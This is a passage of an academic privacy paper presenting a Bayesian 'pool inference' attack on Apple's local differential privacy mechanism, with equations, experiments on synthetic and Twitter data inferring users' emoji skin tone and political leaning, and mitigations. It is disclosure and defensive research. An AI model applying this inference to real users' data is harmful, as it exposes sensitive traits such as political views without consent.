neutral objects. Figure 1 provides an illustration of these def-
initions where the pools are defined in a universe of emojis
grouped by skin tone.
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Figure 2: Diagram summarizing the Bayesian Pool Inference Attack (BPIA).

We note that, in practice, Adv could repeat the attack in
Step 4 using the same obfuscated objects received in Step
3, but using different pools. For example, the attack could
be first run using pools for skin tone, and then again using
pools grouped by gender. While this may be a likely case in
a real-world setting where the adversary may try to infer as
much sensitive information as possible, in this paper we limit
our analysis to the case when the attack is run only once for
each user (i.e. for each instance of the game).

Adversary’s knowledge. No information is shared from Usr
to Adv or vice versa, except in Step 3, where Usr sends the
obfuscated objects to Adv. The pools defined by the adver-
sary do not depend on the objects sampled by the user (and
vice versa). The only information that Adv knows about Usr
are the obfuscated objects x̃1, . . . , x̃n, which we call obser-
vations. We also admit the possibility that Adv has access
to some auxiliary information I, which represents general
knowledge about the population (not about Usr specifically)
that can be used in the attack in Step 4. Finally, we assume
that Adv knows the universe Ω, the privacy loss ε, and any
other internal parameter used when applying A— a standard
assumption for attacks, where the specifications of the system
are assumed to be public. Table 1 summarizes the notation
and what is known to the adversary.

Behavioral parameters. Usr’s behavior determines how vul-
nerable they are to a pool inference attack: Usr might mostly
use objects in the neutral pool, or their preference for their pre-
ferred pool might not be strong. For example, Usr might use
skin-toned emojis only very rarely; moreover, regardless of
the relevant interest, it might be that Usr selects the medium-
light skin tone more frequently, but actually selects other skin
tones often as well. To capture these properties of Usr’s be-
havior, we define two behavioral parameters: the relevant
interest γUsr (how often Usr samples from pools of interest)
and the polarization δUsr (among pools of interest, how often
Usr samples from their preferred pool). Formally:

γUsr
def
= ΦUsr

(
k⋃

i=1
Pi

)
and δUsr

def
=

1
γUsr

ΦUsr(PUsr)

which satisfy 0 < γUsr ≤ 1 and 1
k < δUsr ≤ 1 (since PUsr is

maximal with respect to ΦUsr). While these parameters are
unknown to Adv, they are useful to describe each game in-
stance and characterize the user’s behavior. In section 4, we
show that these parameters capture how vulnerable the target
user is with respect to the specific set of pools chosen by Adv.

3.2 BPIA: A Bayesian pool inference attack
We propose an attack using Bayesian inference for the pool
inference attack model, that we call BPIA (Bayesian Pool
Inference Attack). We first summarize the intuition behind
the attack. Given Usr’s obfuscated objects x̃1, . . . , x̃n, BPIA
uses Bayesian inference to compute, for each pool Pi, the a
posteriori probability that Pi is Usr’s preferred pool:

Pr[PUsr = Pi | x̃1, . . . , x̃n] (1)

To compute this probability, BPIA must take into account
(1) the uncertainty on Usr’s preferred pool and behavioral
parameters, (2) the randomness of Usr’s behavior, and (3) the
randomness of the mechanism A. To do this, BPIA uses a hi-
erarchical model that combines the three types of uncertainty.
In particular, for (2), BPIA would ideally use the user behav-
ior ΦUsr, but this is unknown to Adv. Instead, BPIA uses a
function Φ — that we call user representation — parameter-
ized by three parameters γ,δ and ι, which models a simple
user behavior. We now give the details of the hierarchical
model, the user representation and BPIA’s output.
Hierarchical model. We propose a general hierarchical
modelM = (A,Φ,I), where A is the obfuscation mecha-
nism, Φ is a user representation of the (unknown) user be-
havior, and I is some additional auxiliary information that
contains general facts about the population (see below).

The user representation is a distribution Φ(x | ι,γ,δ,I), pa-
rameterized by ι ∈ {1, . . . ,k} (the preferred pool), γ ∈ (0,1],
δ ∈ (1/k,1] (behavioral parameters), and the auxiliary infor-
mation I. The function Φ(x | ι,γ,δ,I) gives the (assumed)
probability of choosing an original object x if the user has Pι

as their preferred pool, behavioral parameters γ and δ, and
subject to additional auxiliary information I.
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Intuitively,M models a user who is first assigned the pre-
ferred pool Pι, the relevant interest γ and the polarization δ

uniformly at random; then, the user samples n original ob-
jects independently according to Φ(· | ι,γ,δ,I); and finally
obfuscates them using A. Formally, M is given by three
hyperparameters ι, γ, δ, the random variable (X1, . . . ,Xn) rep-
resenting the sampling of the original objects, and the random
variable (X̃1, . . . , X̃n) denoting its randomly obfuscated ver-
sion, with the auxiliary information I being treated as a fixed
parameter:

ι∼ Uniform({1, . . . ,k})
γ∼ Uniform((0,1])
δ∼ Uniform((1/k,1])

Xt | ι,γ,δ∼Φ(· | ι,γ,δ,I) ∀t ∈ {1, . . . ,n}
X̃1, . . . , X̃n | X1, . . . ,Xn ∼A(X1), . . . ,A(Xn)

Using this model, the adversary is able to compute the prob-
abilities in eq. 1: PrM[PUsr = Pi | x̃1, . . . , x̃n]. While in this
model the hyperparameters ι, γ, and δ are uniformly dis-
tributed — reflecting an adversary who has no informative
prior on PUsr, γUsr, and δUsr — this could likely be improved
in practical settings where the adversary may have access to
additional sources of information (see Appendix A.6).
User representation. Our user representation Φ(x | ι,γ,δ, p̂Ω)
models the user assuming the following behavior: the user
first chooses a pool (the neutral pool with probability 1− γ,
their preferred pool Pι with probability γδ, or any of the alter-
native pools with equal probability 1

k−1 γ(1−δ)), then samples
an object from the selected pool according to some estimated
object popularity p̂Ω. This object popularity is a distribution
over Ω that — intuitively — captures the differences in likeli-
hood for objects within the same pool. For example, p̂Ω can
capture the fact that, among emojis with the same skin tone,
the thumb-up emoji is much more popular across users than
most of the others. We assume that the adversary has access
to this estimated object popularity as additional auxiliary in-
formation: I = p̂Ω. In section 6 we discuss how an adversary
could acquire the object popularity from external sources or
even estimate it from obfuscated objects collected from other
users. Furthermore, when the adversary does not have any
auxiliary information, Adv can use an uninformative object
popularity p̂Ω, such as the uniform distribution on Ω.

Formally, the representation Φ is defined as follows:

Φ(x | ι,γ,δ, p̂Ω) =


γδ

p̂Ω(x)
p̂Ω(Pι)

if x ∈ Pι

1
k−1 γ(1−δ) p̂Ω(x)

p̂Ω(Pi)
if x ∈ Pi, i ̸= ι

(1− γ) p̂Ω(x)
p̂Ω(Ω\∪k

i=1Pi)
if x ∈Ω\∪k

i=1Pi

(2)
We note that in the equation, p̂Ω(x) is always normalized by
the total popularity of the pool that x belongs to. In other
words, p̂Ω(x) is used exclusively to differentiate the proba-
bility of different objects within the same pool — it has no

effect on the overall probability that Φ assigns to a pool (and
hence to the pool’s score, see next paragraph).

We emphasize that the user representation Φ(x | ι,γ,δ, p̂Ω)
is a simple model for the user’s behavior: Adv does not know
whether the representation correctly describes the actual user
behavior ΦUsr, and does not know the exact value of PUsr,
γUsr, and δUsr. In particular, our user representation does not
account for (1) individual preferences within pools differing
from p̂Ω, and (2) preferences between non-preferred pools
(since our model assumes that the user selects among alter-
native pools uniformly at random). In the extended version
of this paper we present some results that quantify how the
correctness of the user representation affects the effectiveness
of the attack.
Maximum a posteriori estimate. The attack attempts to find
the user’s preferred pool from their obfuscated objects by
computing the posterior probability of each pool. For each
pool Pi, the adversary computes a score proportional to the
conditional probability that PUsr = Pi under the modelM:

score(Pi) ∝ Pr
M
[PUsr = Pi | x̃1, . . . , x̃n] (3)

The adversary then selects the maximum a posteriori estimate
for the user’s preferred pool, as the pool with maximal score:

P̂Usr = argmax
P1,...,Pk

score(Pi)

If several pools have maximal score, the estimate is selected
uniformly at random from these. The attack also computes a
confidence value conf(P̂Usr) quantifying the probability (un-
der the modelM) that the estimate is correct:

conf(P̂Usr)
def
= Pr

M
[P̂Usr = PUsr | x̃1, . . . , x̃n] =

score(P̂Usr)

∑
k
i=1 score(Pi)

For an arbitrary confidence threshold τ defined by the ad-
versary, the attack outputs P̂Usr if conf(P̂Usr) ≥ τ and null
otherwise. The threshold τ hence allows the adversary to set
the minimum level of confidence that they require to trust the
attack’s estimate P̂Usr. The attack is successful if the estimate
is correct, i.e. P̂Usr = PUsr.
Score computation. Under the modelM, the scores defined
in eq. 3 are computed as the probability that PUsr = Pi after
observing x̃1, . . . , x̃n, obtained by integrating the conditional
distribution over γ and δ and applying Bayes’s law:

score(Pi) ∝

∫ 1

0

∫ 1

1
k

n

∏
t=1

∑
z∈Ω

Pr
A
[x̃t | z] Φ(z | i,γ,δ, p̂Ω) dδ dγ

(4)
The term PrA[x̃t | z] is the probability that the output of A(z)
is the observation x̃t . We give a formal proof of correctness
of the score in the extended paper. We next show how to
compute this for CMS.
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Attacking CMS. To execute BPIA against the mechanism
A= CMS, we need to determine the value of PrCMS[x̃ | z] for
any x̃ and any z. First of all, we note that

Pr
CMS

[x̃ | z] = Pr
CMS

[(ṽ
h j
x , j) | z] = Pr[ṽ

h j
x | j,z]Pr[ j | z]

Since j is selected uniformly at random, we have that Pr[ j |
z] = Pr[ j] is constant for any z and can be moved outside of
the integral in eq. 4. Hence, this is a multiplicative value that
is constant across pools and can be ignored.
Pr[ṽ

h j
x | j,z] is the probability of obtaining the obfuscated vec-

tor ṽ
h j
x when the original object is z and the selected hash

function is h j. Since Adv knows all CMS parameters — in-
cluding the hash functions in H — they can compute the
one-hot vector v

h j
z . The probability is then derived by observ-

ing how many bits need to be flipped in order to obtain ṽ
h j
x

from v
h j
z , i.e. their Hamming distance. Let ξ = 1/(1+ eε/2)

be the probability of flipping one bit and let ∥·∥1 denote the
L1 norm. We obtain:

Pr[ṽ
h j
x | j,z] = ξ

∥v
h j
z −ṽ

h j
x ∥1(1−ξ)m−∥v

h j
z −ṽ

h j
x ∥1 (5)

We note that eq. 5, when used to compute the score in eq. 4,
automatically captures the uncertainty coming from the ran-
dom flipping of bits and from hash collisions as well. For
example, if two objects in different pools share the same hash
value, this would make it impossible to distinguish which of
them (if any) was Usr’s original object. The attack takes this
fact into account when computing the scores for those pools.

4 Experiments on synthetic users

In this section we empirically validate our BPIA attack against
CMS for synthetic users. For each user, we define the behavior
ΦUsr and we then use it to sample the original objects. This
allows us to evaluate the attack for different user profiles
(relevant interest and polarization) and compare the results
across different settings.

Experiment design
We simulate BPIA in various experiment scenarios. Each
experiment scenario is defined by the following parameters:

(i) the universe Ω;

(ii) the CMS parameters ε, m,H (see section 2);

(iii) the pools of interest P1, . . . ,Pk ⊆ Ω picked by Adv for
the attack;

(iv) the true object popularity pΩ, a distribution on Ω (not
known to Adv);

(v) the estimated object popularity p̂Ω (known to Adv);

(vi) the number of observations n that Adv has access to.

Using these parameters, we run 150,000 independent in-
stances of the pool inference game, with one (independent)
synthetic user per instance. For each user Usr, we sample the
user’s relevant interest γUsr and polarization δUsr uniformly at
random from (0,1] and (1/k,1], respectively. As will become
clear from the results, these behavioral parameters strongly
impact the success rate of BPIA. Sampling the parameters
uniformly allows us to study the effectiveness of the attack
on users with different levels of vulnerability.
User behavior. We select Usr’s preferred pool PUsr uniformly
at random from {P1, . . . ,Pk}. For each instance of the game,
we use the randomly sampled γUsr, δUsr, and PUsr to define
Usr’s behavior ΦUsr, as follows:

ΦUsr(x)
def
=


γUsrδUsr

pΩ(x)
pΩ(PUsr)

if x ∈ PUsr
1

k−1 γUsr(1−δUsr)
pΩ(x)
pΩ(Pi)

if x ∈ Pi ̸= PUsr

(1− γUsr)
pΩ(x)

pΩ(Ω\∪k
i=1Pi)

if x ∈Ω\∪k
i=1Pi

(6)
This means that to sample each original object, the user first
selects PUsr with probability γUsrδUsr, any other pool of inter-
est with probability 1

k−1 γUsr(1− δUsr) and the neutral pool
with probability 1− γUsr. Once one pool has been selected,
the original object is sampled within that pool according to
the object popularity pΩ.

For an instance of the game, we sample n objects from ΦUsr
and obfuscate them with CMS( · ;ε,m,H). Note here that
ΦUsr corresponds to Adv’s user representation Φ in eq. 2 but
using pΩ (as Adv does not know the true popularity pΩ). The
robustness results we report in the extended paper quantify
the effectiveness of the attack when Usr uses a noisy version
of pΩ instead of the exact one.
Non-private scenario. To understand the protection provided
by CMS against BPIA, we also report results for an idealized
scenario where the mechanism A simply reveals the original
object x (i.e. A is the identity function), and hence Adv has
access to the original objects x1, . . . ,xn. We refer to this as the
non-private scenario. In the non-private scenario, BPIA works
in the same way as for CMS but the score in eq. 3 is computed
by setting PrA[x̃t | z] = 1 if xt = z and PrA[x̃t | z] = 0 if xt ̸= z.
Baseline. For each scenario, we report as baseline the attack
that always makes a guess (i.e. has fixed confidence score
conf = 1) and returns one of the pools P1, . . . ,Pk uniformly at
random. Since we select the user’s preferred pool uniformly
at random in the experiments, the baseline attack is correct
with probability 1/k.
Types of adversary. We simulate two types of adversaries:
Advweak and Advstrong. Advstrong has access to auxiliary in-
formation on objects’ popularity p̂Ω that approximates pΩ,
while Advweak uses a uniform p̂Ω.

We consider Advstrong to represent a realistic scenario for
a typical deployment of local differential privacy (see Discus-
sion). Indeed p̂Ω can be estimated from auxiliary information
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derived from an external dataset D̃ext of CMS-obfuscated ob-
jects collected from other users. We here simulate Advstrong’s
estimation of p̂Ω by independently sampling N = 106 origi-
nal objects from pΩ obtaining Dext = {y1, . . . ,yN}. We then
obfuscate them with CMS, obtaining the external dataset
D̃ext = {ỹ1, . . . , ỹN} which would typically be available to
Advstrong. Using Apple’s algorithm [4] the adversary approxi-
mates the frequencies of objects of the original dataset Dext,
then projects these frequencies to the probability simplex us-
ing alternating projection [6] in order to obtain the estimated
object popularity p̂Ω (which approximates pΩ well when the
number of users N is sufficiently large).

The estimated object popularity p̂Ω is the only difference
between Advweak and Advstrong. Both adversaries use the
same hierarchical modelM with the same hyperparameters
(in particular, they both always integrate over uniformly dis-
tributed γ and δ when computing the pools’ scores).

Importantly, we note that the effectiveness of the attack in
the non-private scenario is the same for Advstrong and Advweak.
In the non-private scenario, there is no uncertainty regarding
the original input — as the output and the input objects co-
incide — and hence knowing the object popularity does not
bring any advantage.4

Metrics. For a given threshold τ, we call null users all
the users for which the attack does not make a guess
(conf(P̂Usr) < τ). We then use the following three metrics
to measure the effectiveness of our attack in a given scenario:

1. The null rate is the fraction of null users (out of all the
150,000 users) for a given value of τ;

2. The precision is the success rate of the attack for all
non-null users, i.e. the fraction of non-null users such
that P̂Usr = PUsr. That is, the fraction of users for which
the attack’s guess is correct, out of the users for which a
guess is made (which depends on the threshold τ);

3. The area under the precision-null rate curve (AUC-PN)
is the area under the curve obtained by plotting the pre-
cision vs the null rate for all possible threshold values
between 0 and 1. Since the threshold τ can be adapted
by the adversary to adjust the tradeoff between precision
and null rate, the AUC-PN captures the overall effective-
ness of the attack (in the specific scenario).

Settings. In this paper, we focus on two specific use cases of
CMS implemented by Apple in iOS and Mac OS [4]:

Setting 1: Emojis. In this use case, the device keeps
track of which emojis — the original objects — are
selected by the user when typing. These are obfuscated
by CMS and submitted to Apple. The universe of objects
contains 2600 emojis, i.e. |Ω|= 2600.

4This fact can be proved formally by noticing that in the non-private
scenario the sum in eq. 4 reduces to one single term, so that the object
popularity for each observation can be moved outside of the integral and is
constant across each pool’s score.

Setting 2: Web domains. For this setting, the original
objects are the web domains that the user visits using
the built-in browser (together with preferences regarding
videos autoplay). The implementation of CMS keeps
track of 250,000 web domains, i.e. |Ω|= 250000.

Apple’s implementation sets m= 1024 and |H|= 65536, with
ε = 8 for web domains and ε = 4 for emojis.

Setting 1: Emojis
We consider an adversary Adv that runs our BPIA attack
with the goal of inferring Usr’s preferred emoji skin tone (see
Figure 1). To this end, Adv defines six pools of size 228,
corresponding to the six skin tones supported for 228 emojis
in the Unicode Emoji v11.0 standard [35].

We define the true object popularity pΩ as a mixture of
Zipfian distributions — reflecting the fact that a few emojis
are much more popular than others [15] (we discuss this
choice in more detail in the extended paper). Formally, we
consider the partition of Ω given by the pools P1, . . . ,Pk and
the neutral pool Q = Ω\∪k

i=1Pi. For each Pi = {xi
1, . . . ,x

i
|Pi|},

we take the Zipfian probability mass function given by:

fPi(x
i
j) =

1/ j1.2

∑
|Pi|
c=1 1/c1.2

(7)

and similarly for the neutral pool. Finally we define:

pΩ(x)
def
∝

{
fPi(x) if x ∈ Pi, i = 1, . . . ,k
fQ(x) if x ∈ Q

(8)

Results for Advweak and Advstrong. We simulate the attack
with n = 7,30,90,180 observations. Since Apple collects one
obfuscated object per day [2], these correspond to about 1
week, 1 month, 3 months, and 6 months, respectively. While
6 months may seem a long time, most users are likely to
keep their iOS and Mac OS devices —and submit obfuscated
objects — for much longer than that [31].

Table 2 shows that our attack performs well for Advstrong,
already reaching an AUC-PN of 0.8 after n = 90 observations.
Figure 3 shows the attack’s full precision-null rate curves.
Here again, we see that Advstrong performs much better than
the baseline, reaching a precision of 0.29 after only 7 obser-
vations, and 0.64 after 180 observations when making a guess
for all users (null rate = 0).

Restricting the attack to only users for which the attack is
more confident (higher thresholds) allows the adversary to
considerably increase the precision while making predictions
on a significant number of users. For instance, for n = 90, the
attack reaches a precision of 1 for a null rate of 0.95. This
means that the attack makes no mistake when executed on the
top 5% users (i.e. the users whose confidence score is in the
top 5%). Even with a week of observations (n = 7), the attack
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Figure 3: Precision-null rate curves in the emojis setting for Advweak and Advstrong. The results for the non-private scenario are
the same for Advweak and Advstrong.

Figure 4: Precision depending on γUsr and δUsr for Advstrong in the emojis setting when the attack always makes a guess
(null rate = 0). The attack is more efficient when the user’s relevant interest and polarization are higher. The figure is generated
by computing, for each value of γUsr and δUsr, the precision of the attack on users with (approximately) those relevant interest
and polarization values. We note that δUsr is always greater than 1/(6−1) = 0.2 by definition (see section 3).

n = 7 n = 30 n = 90 n = 180

Advweak 0.20 0.24 0.32 0.40
Advstrong 0.37 0.61 0.80 0.88

Non-private 0.86 0.96 0.99 0.99

Table 2: AUC-PN values in the emojis setting.

reaches 48% precision (2.9 times better than the baseline)
when focusing on the top 10% of users.

The results for Advweak, while significantly better than the
baseline, are not as good. When making a guess for all the
users, Advweak only reaches a precision of 0.19 for n = 7 (as
opposed to 0.29 for Advstrong). Even after n = 180 observa-
tions, the precision only increases to 0.31 for null rate = 0,
and to 0.53 when focusing on the top 10% users. These results
emphasize the importance of the adversary using auxiliary
information during the attack.

The reason Advstrong achieves much better results com-
pared to Advweak can be intuitively explained as follows:

BPIA uses the object popularity to reduce the indistinguisha-
bility of the obfuscated objects. In principle, each obfuscated
object may be the output of CMS run on any original object.
However, if the attack knows that some of these objects are
less likely to be picked (compared to others in the same pool),
the posterior probability that one of them was the actual input
can be reduced accordingly. The score defined in eq. 4 cap-
tures this fact to compute each pool’s posterior probability.
We provide additional results on this point in Appendix A.3.

Results in the non-private scenario. In order to contextu-
alize our results, we also measure the accuracy of BPIA in
the non-private scenario, when the adversary has access to
the user’s original objects x1, . . . ,xn (i.e. without hashing nor
obfuscation). This gives an upper bound to the attack: even
when the adversary observes the original objects, they can
still make mistakes when estimating the user’s preferred pool.
This is due to the stochastic nature of the user behavior ΦUsr.
For example, a user might use emojis with a certain skin tone
most of the times but, for most users, there is a non-zero
and possibly significant probability that the user selects emo-
jis with a different skin tone (alternative pool) or even an
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emoji with no skin tone (neutral pool). Hence, even in the
non-private scenario the attack might not be 100% effective.

Figure 3 shows the attack to be highly effective in the non-
private scenario, although not perfect. While the difference
in effectiveness between Advweak and non-private remains
large for any number of observations, the protection offered
by CMS decreases as n increases.
Impact of the behavioral parameters. Figure 4 shows how
the precision of the attack increases with both behavioral
parameters δUsr and γUsr for Advstrong when the null rate is
0, i.e. when the attack makes a guess for all users. Users
with larger polarization and relevant interest tend to be, on
average, much more vulnerable than other users. For instance
for n = 90 and for Advstrong, the precision of the attack on
a user with γUsr = 0.2 and δUsr = 0.17 is lower than 20%,
while it already increases to more than 80% for a user with
γUsr = 0.6 and δUsr = 0.67. Overall, Advstrong performs well
over a large range of values of γUsr and δUsr for n≥ 90.

Setting 2: Web domains

We here consider the case of an adversary attempting to in-
fer the target user’s potential political orientation from news
sites that they visit. In this hypothetical setting, the adver-
sary assumes that users are more likely to visit news websites
whose political orientation is aligned with their own politi-
cal views [19, 32]. The adversary hence defines the pools as
sets of news websites grouped by political orientation. We
here use AllSides’s Media Bias rating for 60 major English-
language news websites [1]. The Chart divides media into five
groups: left, lean left, center, lean right, right, which contain
respectively 14, 13, 13, 10, and 10 unique news websites5

(see Figure 5). In this experiment we randomly assign a popu-
larity to all websites in the universe. For each object x ∈ Ω,
pΩ(x) is sampled uniformly at random from [0,1] (and then
rescaled to ensure that pΩ has total mass adding up to 1).
To reduce the computational time required to run the attack
on 150,000 users, we run the experiments with a universe of
size |Ω|= 2000 (instead of the original 250,000). We show
in Appendix A.4 that this has no impact on the estimated
effectiveness of the attack.

Here again, we simulate two adversaries: Advweak who
uses an uninformative (uniform) object popularity p̂Ω, and
Advstrong who uses N = 106 obfuscated objects from an ex-
ternal population to derive the estimated popularity p̂Ω.
Results for Advweak and Advstrong. Table 3 reports the
AUC-PN of the attack (computed on all users, for any rel-
evant interest and polarization), and shows that both adver-
saries are very effective. Advweak and Advstrong reach high

5In a few cases, the chart by AllSides has two entries for the same website
— e.g., for The Wall Street Journal, the news only section is rated center and
the opinion section is rated lean right. As these share the same web domain,
for simplicity we include just the news only entries in the pools of interest.

Figure 5: Pools for the web domains setting. Each pool
groups together websites for 60 major news outlets according
to their political orientation from the 2021 AllSides Media
Bias Chart (left, lean left, center, lean right, right). In this case,
Usr visits most frequently news websites in the left pool.

n = 7 n = 30 n = 90 n = 180

Advweak 0.72 0.89 0.95 0.97
Advstrong 0.74 0.90 0.96 0.98

Non-private 0.87 0.96 0.99 0.99

Table 3: AUC-PN values in the web domains setting.

AUC-PN with few observations. For example, they both ob-
tain AUC-PN≥ 0.95 with n = 90 observations.

Interestingly, the effectiveness of Advstrong in this scenario
is very similar to the one of Advweak — a stark difference
from the emojis setting (Table 3 and Figure 6). This can
be explained by the comparatively much smaller pools in
this use case compared to the emojis setting (average pool
size of 12, compared to 228 in the emoji setting). Indeed as
pools get smaller, both the risk of hash collisions between two
objects of different pools and the uncertainty introduced by
the randomized obfuscation increase (see Appendix A.3).

The small difference in both AUC-PN and precision, be-
tween both adversaries and the non-private scenario further
confirms that, when pools are small, CMS provides little ad-
ditional protection.
Impact of the behavioral parameters. Figure 7 shows the
precision for τ = 0 as a function of the relevant interest γUsr
— the fraction of the time a user visits one of the 60 news
websites — and the polarization δUsr for Advstrong. We omit
the results for Advweak as they are almost identical. Similarly
to the emojis setting (Figure 4), we find that a user’s behav-
ioral parameters strongly affect how vulnerable they are. For
instance, for Advstrong and n = 90, the attack will be correct
91% of the time on a user who visits news websites 20% of
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Figure 6: Precision-null rate curves in the web domains setting for Advweak and Advstrong. The results for the non-private
scenario are the same for Advweak and Advstrong.

the time (γUsr = 0.2) and is strongly polarized (δUsr = 0.83)
but would only reach 40% if instead they read diverse sources
(δUsr = 0.33) or 25% if instead they only visit news websites
less than 1% of the time (γUsr ≤ 0.01).
Reliability of the confidence score. We have shown that
while our attack gives good results overall, it is particularly
effective for certain users, in particular users with a high
degree of polarization and relevant interest.

Figure 8 shows that our attack’s confidence score is well
calibrated: for both adversaries, use cases, and number of
observations. This makes the attack a concern in practice as
it allows an adversary to estimate the probability of the attack
to be successful against a specific target user Usr by looking
only at Usr’s obfuscated objects.

5 Experiments on Twitter data

We now simulate the attack in the emojis setting using data
collected from Twitter. Our experiments serve two purposes:
first, they validate the hierarchical modelM (including the
user representation Φ) in practice; second, they prove that
the attack can be very effective on real-world users (see the
discussion in section 6).
Dataset. We use the dataset of tweets collected by Robertson
et al. [29], which contains about 18M tweets from 42K Twitter
users, and derive a dataset D containing only the emojis sent
by each users. We then apply a random 80-20 split to D and
obtain: Datt, containing the users who used at least one emoji
supporting skin tones, on which we simulate the attack; and
Dext, containing the external population that Advstrong uses
to compute the emojis estimated popularity p̂Ω. We simulate
the BPIA attack instantiating the Pool Inference Game on
each user in Datt, treating each emoji as an original object to
which we apply CMS. The full details on how we produce
the datasets and run the attack are given in Appendix A.2.
Results for Advstrong. We instantiate the game only for

Advstrong, since our experiments on synthetic data already
showed that, in most cases, Advweak is not very effective in
the emojis setting. Figure 9 (left) shows that the attack is
overall very effective on the users in Datt. For any number
of observations, the precision is > 0.5 (2.5 times better than
the baseline) when the attack is run on all the users in Datt.
After only n = 7 observations, the precision on the top 20%
of the users (the 20% of the users with the highest confidence
score) is above 0.61, going up to 0.825 after 180 observations.
The attack however struggles to reach perfect precision: with
n = 180, to achieve a precision of 0.95 the adversary needs to
restrict the attack to the top 10% of the users. This is mostly
because, contrary to the synthetic data,Datt contains very few
users who have both high γUsr and δUsr (see Appendix A.2).

Figure 10 shows the precision of BPIA depending on γUsr
and δUsr when making a guess on every user. These results
are mostly consistent with those computed using the synthetic
data (Figure 4). As expected, the attack is not very effective
on users with low γUsr and δUsr, but works remarkably well on
high-polarization users who have medium to high relevant in-
terest. For example, after 90 observations, the attack achieves
0.82 to 0.9 precision on the users with polarization over 0.8
and relevant interest at least 0.4. Overall, these results validate
the applicability of BPIA’s modelM.
Reliability of the confidence score. Figure 9 (right) confirms
that the confidence score computed by BPIA can be used to
accurately estimate the probability that the estimated preferred
pool is correct. This validates the fact that BPIA can be used
to distinguish and target the most vulnerable users.

6 Discussion

In this paper we propose pool inference, a new attack model
that quantifies some practical privacy risks that may affect
implementations of local differential privacy mechanisms. We
formalize the attack model as a game and propose a Bayesian
pool inference attack (BPIA) that applies to any local differ-
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Figure 7: Precision depending on γUsr and δUsr for Advstrong in the web domains setting when the attack always makes a guess.
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Figure 8: Success rate as a function of the confidence score for both Advweak and Advstrong and in both the emojis and web
domains settings. The confidence score computed by the attack accurately estimates the probability that the attack is correct.

ential privacy mechanism that processes each object indepen-
dently. We simulate BPIA against Apple’s CMS mechanism
for emojis and web domains and study its effectiveness in
different scenarios. We show that the attack can successfully
allow an adversary to infer sensitive properties of a user’s be-
havior. We further show that BPIA works best on users who
are more polarized — and may hence require the strongest pri-
vacy protections. To the best of our knowledge, this is the first
attack designed against a real-world implementation of local
differential privacy. Taken together, our results show that the
BPIA attack is a practical threat for Apple’s devices, where
CMS is implemented with large ε parameters and without lim-
iting the cumulative privacy loss after multiple observations.

Previous criticism to Apple’s implementation. In Septem-
ber 2017, Tang et al. reverse engineered and analyzed Ap-
ple’s implementation, for which no technical description was
yet available. In particular, they found that the choice of the
privacy loss ε was not in line with what is deemed mathe-
matically secure [33]. Tang et al. provided a detailed analy-
sis of Apple’s system, but did not propose attacks showing
how the weakness of the theoretical guarantees could be ex-
ploited in practice. Apple disputed the findings by Tang et
al., claiming that the system provides far more protection
than acknowledged by the researchers [18]. Our experimen-
tal evaluation shows that, with Apple’s choice of parameters,
our BPIA attack could potentially lead to the disclosure of a
user’s preference for news websites or emoji skin tone. Ac-

cording to their white paper, Apple discards any user identifier
when obfuscated objects are ingested by their servers, mak-
ing it impossible to later link multiple observations from the
same users [4]. While this would limit the attack to a sin-
gle observation, this is an organizational measure that relies
on trust, which is what local differential privacy is designed
to avoid [13, 21, 39] (see also the discussion on mitigation
strategies below).

Representativeness of the experiments. In this paper we
validate our attack using both synthetically generated data
and Twitter data. The goal of our experiments is to study how
the attack performs in several scenarios and to validate the
user modelM showing that the attack works on a significant
number of real-world users. On the other hand, the aim of
our experiments is not to measure the fraction of users in the
population who are vulnerable. Firstly, while we use Twitter
data as a representation of users’ usage of emojis, we do not
have access to datasets that record such usage across apps
or web browsing data. Secondly, our work focuses only on
two attack goals (i.e. sets of pools): determining the preferred
emoji skin tone and the political orientation of the most visited
news website. As mentioned in section 3, the adversary can
run BPIA as many times as they want on the same data using
any pools they wish. Users who are not vulnerable to the
attack with certain pools might be vulnerable with respect
to another set of pools. Moreover, the confidence score can
be used to reliably estimate which inferences are likely to be
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Figure 9: Precision-null rate curves (left) and success rate depending on the confidence score (right) for Advstrong on Twitter
data.

Figure 10: Precision depending on γUsr and δUsr for Advstrong on Twitter data when the attack always makes a guess.

correct. Future work may select other privacy-sensitive pools
and use our attack to assess different privacy risks.
Using auxiliary population-level knowledge to estimate
the object popularity. Our experiments with Advstrong show
that an adversary with access to auxiliary information on the
overall popularity of objects among the population may be
much more effective. The adversary may obtain access to such
auxiliary information from a variety of sources, such as social
media or studies that report summary statistics on popularity
of emojis aggregated over many users. Furthermore, they
can be typically estimated by the data curator. In fact, CMS
is designed precisely with this scope in mind: estimating
the popularity of objects across many users. Hence, if the
adversary is the curator themselves, users’ privacy is even
more at risk.6 In particular, the method used to estimate the
popularity (see section 3) does not require that the adversary
knows which objects are collected from which user. Advstrong
could be a curator who has never acted maliciously before,
always discarding the identifiers that would allow to link
objects coming from the same user, but who at some point
decides to keep together the observations from the same target
user.

6We note that assuming that the curator is also the adversary reflects the
standard attack model applied to local differential privacy. We believe an
external adversary to be less realistic in Apple’s case as the obfuscated records
are transmitted from the device to Apple through an encrypted connection.

Extending the attack to other mechanisms. While in this
paper we focus on the CMS mechanism, our BPIA attack
can be used against any local differential privacy mechanisms
where PrA[x̃t | z] can be computed analytically or estimated
empirically. In the extended paper we show how to adapt the
attack to run against HCMS, another mechanism proposed
and deployed by Apple to identify websites that cause high
usage of hardware resources (CPU and memory) [4]. HCMS
is similar to CMS, but uses the Hadamard transform to reduce
the size of obfuscated objects to a single bit. Despite this, the
way to compute PrHCMS[x̃t | z] is similar to the one for CMS
(see extended paper).
Solutions and mitigation strategies. There are several possi-
ble solutions to protect against BPIA, or at least mitigate it.
However, to our knowledge, these all come at a cost in terms
of utility, or require significant resources to be deployed.
First: Using a smaller ε and limiting the total number of
observations per user. We show in Appendix A.5 that using
a smaller value of ε reduces the effectiveness of the attack,
but it also has a direct impact on utility. Similarly, our results
in sections 4 and 5 show that BPIA is less effective when
the number of observed obfuscated objects from the target
user is lower, but reducing the total number of observations
affects utility as well (see Appendix A.5). Moreover, limiting
the number of observations might make it impossible to learn
how users’ preferences evolve over time.
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Second: Using a local differential privacy mechanism that
addresses the privacy loss over multiple observations. These
typically use some form of heuristic memoization — such
as Google’s RAPPOR [15] — or techniques to reduce the
number of observations that are collected [21]. These may
offer a better (theoretical) privacy-utility tradeoff when the
population-level distribution that needs to be estimated over
time does not change frequently. Extending the pool inference
attack model and BPIA to these mechanisms could be used
to measure this tradeoff in a practical setting and compare it
to the tradeoff provided by CMS.
Third: Adopting a different privacy model. In recent work,
researchers have proposed techniques that typically go under
the name of shuffled differential privacy [5, 7, 9, 10, 16]. This
is a hybrid privacy model where the obfuscated objects are
routed through an intermediary (the shuffler) that in turn sends
